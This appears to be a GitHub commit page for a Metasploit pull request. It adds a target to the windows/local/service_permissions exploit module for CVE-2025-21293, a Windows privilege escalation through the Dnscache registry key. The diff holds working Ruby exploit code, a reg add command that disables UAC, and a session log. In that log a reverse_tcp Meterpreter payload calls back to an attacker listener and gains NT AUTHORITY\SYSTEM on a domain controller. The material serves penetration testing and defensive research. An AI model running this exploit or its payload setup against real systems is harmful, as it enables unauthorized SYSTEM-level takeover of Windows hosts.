Skip to content

Commit 98702a6

Browse files
authored
Merge pull request rapid7#20044 from jheysel-r7/cve_2025_21293
Updated service_permissions with action to exploit CVE-2025-21293
2 parents 4723017 + faea5f7 commit 98702a6

File tree

2 files changed

+113
-17
lines changed

2 files changed

+113
-17
lines changed

documentation/modules/exploit/windows/local/service_permissions.md

Lines changed: 83 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,27 @@ The name of a specific service to target. This can be used to avoid targeting al
5858
the module user wants to target a specific one. When specified, the service name is compared to others in a
5959
case-insensitive manner per the [`CreateServiceA`][CreateServiceA] documentation.
6060

61+
## Actions
62+
63+
### Exploit CVE-2025-21293
64+
Prior to the January 2025 Windows update, users who are apart of the `Network Configuration Operators` group have the
65+
`CreateSubKey` Registry Right under the `HKLM\System\CurrentControlSet\Services\Dnscache\` registry key (which is the
66+
crux of CVE-2025-21293). This allows them to exploit the Weak Registry Permissions technique included in this module
67+
to gain SYSTEM privileges.
68+
69+
However there are a few caveats to this. As mentioned in the original [research paper](https://birkep.github.io/posts/Windows-LPE/)
70+
there is a chance that the session will be established in the context of `nt authority\local service` and not `nt authority\system`.
71+
If this happens, rerun the module.
72+
73+
Also if UAC is enabled, despite having `CreateSubKey` RegistryRight under the
74+
`HKLM\System\CurrentControlSet\Services\Dnscache\` registry key, Windows will not let you create the registry key as a
75+
non-admin user. In order to exploit CVE-2025-21293, remotely and from Metasploit, you need to disable UAC. This can be
76+
done by running the following command in an elevated command prompt and then rebooting the system:
77+
78+
```
79+
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
80+
```
81+
6182
## Scenarios
6283
Specific demo of using the module that might be useful in a real world scenario.
6384

@@ -156,3 +177,65 @@ meterpreter >
156177
```
157178

158179
[CreateServiceA]: https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-createservicea
180+
181+
### Scenario: Windows Server 2019. Action: CVE-2025-21293
182+
183+
```
184+
msf6 exploit(windows/local/service_permissions) > set lhost 172.16.199.1
185+
lhost => 172.16.199.1
186+
msf6 exploit(windows/local/service_permissions) > set lport 6665
187+
lport => 6665
188+
msf6 exploit(windows/local/service_permissions) > set payload windows/x64/meterpreter/reverse_tcp
189+
payload => windows/x64/meterpreter/reverse_tcp
190+
msf6 exploit(windows/local/service_permissions) > set target 1
191+
target => 1
192+
msf6 exploit(windows/local/service_permissions) > options
193+
194+
Module options (exploit/windows/local/service_permissions):
195+
196+
Name Current Setting Required Description
197+
---- --------------- -------- -----------
198+
AGGRESSIVE false no Exploit as many services as possible (dangerous)
199+
SESSION -1 yes The session to run this module on
200+
TIMEOUT 10 yes Timeout for WMI command in seconds
201+
202+
203+
Payload options (windows/x64/meterpreter/reverse_tcp):
204+
205+
Name Current Setting Required Description
206+
---- --------------- -------- -----------
207+
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
208+
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
209+
LPORT 6665 yes The listen port
210+
211+
212+
Exploit target:
213+
214+
Id Name
215+
-- ----
216+
1 Exploit CVE-2025-21293
217+
218+
219+
220+
View the full module info with the info, or info -d command.
221+
222+
msf6 exploit(windows/local/service_permissions) > run
223+
[*] Started reverse TCP handler on 172.16.199.1:6665
224+
[*] exploiting Exploit CVE-2025-21293
225+
[+] [Dnscache] Created registry key: HKLM\System\CurrentControlSet\Services\Dnscache\Performance
226+
[*] Sending stage (203846 bytes) to 172.16.199.200
227+
[+] Deleted C:\Users\msfuser\AppData\Local\Temp\VcsHZcFQ.dll
228+
[*] Meterpreter session 8 opened (172.16.199.1:6665 -> 172.16.199.200:49807) at 2025-04-16 09:42:35 -0700
229+
230+
meterpreter > getuid
231+
Server username: NT AUTHORITY\SYSTEM
232+
meterpreter > sysinfo
233+
Computer : DC2
234+
OS : Windows Server 2019 (10.0 Build 17763).
235+
Architecture : x64
236+
System Language : en_US
237+
Domain : KERBEROS
238+
Logged On Users : 5
239+
Meterpreter : x64/windows
240+
meterpreter >
241+
```

modules/exploits/windows/local/service_permissions.rb

Lines changed: 30 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -38,20 +38,26 @@ def initialize(info = {})
3838
'Arch' => [ ARCH_X86, ARCH_X64 ],
3939
'Platform' => [ 'win' ],
4040
'SessionTypes' => [ 'meterpreter' ],
41-
'DefaultOptions' =>
42-
{
43-
'EXITFUNC' => 'thread',
44-
'WfsDelay' => '5'
45-
},
46-
'Targets' =>
47-
[
48-
[ 'Automatic', {} ],
49-
],
41+
'DefaultOptions' => {
42+
'EXITFUNC' => 'thread',
43+
'WfsDelay' => '5'
44+
},
45+
'Targets' => [
46+
[ 'Automatic', {} ],
47+
[ 'Exploit CVE-2025-21293', {} ]
48+
],
5049
'References' => [
51-
['URL', 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/']
50+
['URL', 'https://itm4n.github.io/windows-registry-rpceptmapper-eop/'],
51+
['URL', 'https://birkep.github.io/posts/Windows-LPE/'],
52+
['CVE', '2025-21293'],
5253
],
5354
'DefaultTarget' => 0,
54-
'DisclosureDate' => '2012-10-15'
55+
'DisclosureDate' => '2012-10-15',
56+
'Notes' => {
57+
'Stability' => [CRASH_SAFE],
58+
'Reliability' => [REPEATABLE_SESSION],
59+
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
60+
},
5561
)
5662
)
5763

@@ -68,7 +74,7 @@ def execute_payload_as_new_service(path)
6874
success = false
6975

7076
print_status('Trying to add a new service...')
71-
service_name = Rex::Text.rand_text_alpha((rand(6..13)))
77+
service_name = Rex::Text.rand_text_alpha(rand(6..13))
7278
if service_create(service_name, { path: path, display: '' }) == ERROR::SUCCESS
7379
print_status("Created service... #{service_name}")
7480
write_exe(path, service_name)
@@ -95,7 +101,7 @@ def weak_service_permissions(service_name, service, path)
95101
print_status("[#{service_name}] Restarting service")
96102
res = service_stop(service_name)
97103

98-
if ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
104+
if (res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)
99105
write_exe(path, service_name)
100106
if service_restart(service_name)
101107
print_good("[#{service_name}] Service restarted")
@@ -144,7 +150,7 @@ def weak_file_permissions(service_name, service, _path, token)
144150
stopped = true
145151
else
146152
res = service_stop(service_name)
147-
stopped = ((res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE))
153+
stopped = (res == ERROR::SUCCESS) || (res == ERROR::SERVICE_NOT_ACTIVE)
148154
end
149155
rescue RuntimeError => e
150156
vprint_error("[#{service_name}] #{e} ")
@@ -156,7 +162,7 @@ def weak_file_permissions(service_name, service, _path, token)
156162
if move_file(possible_path, "#{possible_path}.bak")
157163
write_exe(possible_path, service_name)
158164
print_status("[#{service_name}] #{possible_path} moved to #{possible_path}.bak and replaced.")
159-
if service_restart(service_name) # rubocop:disable Metrics/BlockNesting
165+
if service_restart(service_name)
160166
print_good("[#{service_name}] Service restarted")
161167
success = true
162168
else
@@ -260,14 +266,21 @@ def exploit
260266
end
261267

262268
if sysinfo['Architecture'] != payload_arch
263-
print_error('The registry technique will be skipped because the payload architecture does not match the native system architecture')
269+
print_error('The registry technique will be skipped because the payload architecture selected does not match the payload architecture of the session being used in the exploit.')
264270
end
265271
tempexe_name = "#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
266272

267273
dir_env = get_envs('SystemRoot', 'TEMP')
268274
tmpdir = dir_env['TEMP']
269275
tempexe = "#{tmpdir}\\#{tempexe_name}"
270276

277+
if target.name == 'Exploit CVE-2025-21293'
278+
print_status('Exploiting CVE-2025-21293')
279+
fail_with(Failure::BadConfig, 'To exploit CVE-2025-21293 through a remote shell UAC must be disabled') if is_uac_enabled?
280+
weak_registry_permissions('Dnscache')
281+
return
282+
end
283+
271284
if datastore['TargetServiceName'].blank?
272285
begin
273286
return if execute_payload_as_new_service(tempexe)
@@ -283,7 +296,7 @@ def exploit
283296
token = get_imperstoken
284297
each_service do |serv|
285298
service_name = serv[:name]
286-
next unless (datastore['TargetServiceName'].blank? || datastore['TargetServiceName'].downcase == service_name.downcase)
299+
next unless datastore['TargetServiceName'].blank? || datastore['TargetServiceName'].downcase == service_name.downcase
287300

288301
service = service_info(service_name)
289302

0 commit comments

Comments
 (0)